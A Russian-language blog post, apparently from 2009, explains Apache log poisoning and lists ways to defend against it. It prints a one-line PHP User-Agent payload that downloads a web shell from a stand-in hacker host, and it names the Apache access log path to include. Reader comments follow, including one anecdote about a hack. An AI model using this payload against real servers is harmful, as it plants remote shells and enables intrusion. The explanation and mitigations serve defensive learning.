« Защита от подбора пароля для SSH | CNOBIN поднимает цены »
Отравление логов (logs poisoning) это такой хитрый способ пробраться на чужой сервер, используемый хакерами. Апач как правило имеет лог файл, лежащий по стандартному пути (зависит от версии ОС). Читать и писать в этот файл могут те же юзеры, под которыми выполняются скрипты, то есть если хакер допустим нашёл какую-то уязвимость, позволяющую включать локальные файлы, но самого локального файла у него нет, то он может прописать нужный код в лог файл апача и далее запустить его оттуда. Сделать это можно, например прописав в качестве юзерагента коротенький пхп код типа такого:
<?php fwrite(fopen(‘shell.php’,'w’), file_get_contents(‘http://www.hacker.com/myshell.txt’)); ?>
Код по идее может быть прописан в любую часть запроса, которая откладывается в лог. После этого хакеру просто надо запустить уязвимый скрипт, указав ему в качестве загружаемого файла лог апача (/var/log/httpd/access_log или что-то подобное) и на сервер будет загружен шелл с хакерского сервера.
Бороться с этим можно многими способами:
1. Не давать читать логи тем юзерам, которые в них пишут. Чревато разными трудно-отлавливаемыми проблемами, поскольку это нестандартная конфигурация для типичного линуксового сервера, то есть в случае проблем, гугление может не помочь.
2. Переименовывать логи и прятать их в нестандартные места.
3. Отравлять логи заранее, прописывая в них <?php exit; ?>, тогда всё что запишут после, не будет выполняться.
4. Каким-то образом, санитайзить то, что пишется в логи, может быть есть какие-то модули для этого.
5. Не использовать сторонние скрипты, писать свой Вордпресс где будет всё одним файлом без include().
4 Responses
February 24th, 2009 at 17:39:22
// php gravatar() ?>1может таки проще аккуратнее использовать include?
February 25th, 2009 at 08:06:06
// php gravatar() ?>2История из жизни.
Как-то раз был дружески взломан домашний сервер через инклюд в пхпмайадмине и отравление хистори icq админа. Его глупый icq-клиент писал всё plain-текстом.
February 25th, 2009 at 21:08:25
// php gravatar() ?>3Const, научи, как мне аккуратней использовать include в ЧУЖИХ скриптах, которые я вынужден у себя ставить?
March 12th, 2009 at 15:48:38
// php gravatar() ?>4[...] различных видов защиты сервера от хаков, можно позаботиться о том, чтобы оперативно [...]
RSS feed for comments on this post · TrackBack URI
Написать комментарий
Про что писал
Календарь
Куйворды
Архив
Подписка на блог
Статистика подписки
Страницы
Комментарии
Последние посты
Blogroll
Счётчики
Свежие записи
Последние комментарии
Интересное на блоге
Самое комментируемое
SEO блог где палят темы is proudly powered by WordPress - BloggingPro theme modified by alexf